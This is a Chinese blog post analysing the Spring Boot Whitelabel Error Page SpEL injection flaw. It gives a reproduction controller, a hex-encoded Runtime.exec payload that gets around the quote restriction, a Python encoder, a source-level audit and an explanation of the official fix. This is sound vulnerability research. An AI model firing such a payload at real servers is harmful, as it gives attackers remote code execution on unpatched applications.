漏洞简介
向一个可以能引发报错的controller传参,报错时会渲染出报错页面对输入的参数SPEL解析
影响范围
Springboot: 1.1.0 ~ 1.1.12、1.2.0 ~ 1.2.7、1.3.0
漏洞复现
新建Springboot项目,设置为受影响的版本
编写一个通过输入能抛出错误的controller
package com.example.springbooterrorpagerce;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class Controller {
@ResponseBody
@RequestMapping("/")
public void inject(String spel){
Integer.parseInt(spel);
}
}
传入SPEL表达式触发注入
RCE注意事项
这里SPEL表达式是不能含有单双引号的,否则无法RCE,因此在exec的时候需要绕过:将引号字符串换成ascii表示
${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}
ascii转换:
# coding: utf-8
result = ""
target = 'open -a Calculator'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
代码审计
从报错页面渲染开始,在org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration
this.template是报错页面的模板,渲染该页面是通过SPEL表达式解析来达到参数替换
<html>
<body>
<h1>Whitelabel Error Page</h1>
<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.</p>
<div id='created'>${timestamp}</div>
<div>There was an unexpected error (type=${error}, status=${status}).</div>
<div>${message}</div>
</body>
</html>
this.replacePlaceholders方法传入模板和占位符解析器来渲染页面,来到PropertyPlaceHolderHelper#parseStringValue
方法
首先会对模板的所有被${}
包裹的占位符进行一层${}
去除,然后再递归去除多重包裹
获取占位符
获取到占位符就去解析对应的值
第一个被解析的是timestamp,这里用的是SPEL的解析器
占位符解析成功后,接着又会对解析出来的值再一次进行递归去除${}
+SPEL解析
同理,当解析最后一个占位符message时,先从模板递归+SPEL解析出占位符message的值,然后又对message的值递归+SPEL解析
就在此时解析了可控输入产生漏洞
POP链
漏洞修复
漏洞产生是由于先从模板递归+SPEL解析出占位符message的值,然后又对message的值递归+SPEL解析,两次操作使用的是同一个方法,而本质上只需要在从模板中解析占位符时候调用SPEL,无需对值进行解析
因此官方在1.3.1版本更新了一个无递归解析的NonRecursivePropertyPlaceholderHelper
调用它的parseStringValue方法,然后再调用resolvePlaceholder方法时就会直接返回null而不会递归+SPEL解析
那么我们在resolvePlaceholder()
处打断点:
在从模板解析${message}
时:this.resolver
不是NonRecursivePropertyPlaceholderHelper
因此调用SPEL解析,解析结果是我们的传参字符串${7*8}
解析字符串${7*8}
时发现是NonRecursivePropertyPlaceholderHelper
因此返回null
返回null就不会进行递归解析了
更新后把模板占位符和具体替换值分开操作而不公用同一个方法,仅对占位符进行解析而不解析具体值,从而避免了非法注入
参考
https://www.cnblogs.com/litlife/p/10183137.html
https://github.com/LandGrey/SpringBootVulExploit#0x01whitelabel-error-page-spel-rce
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://blog.csdn.net/Xxy605/article/details/125223288
版权声明:本文为原创,转载时须注明出处及本声明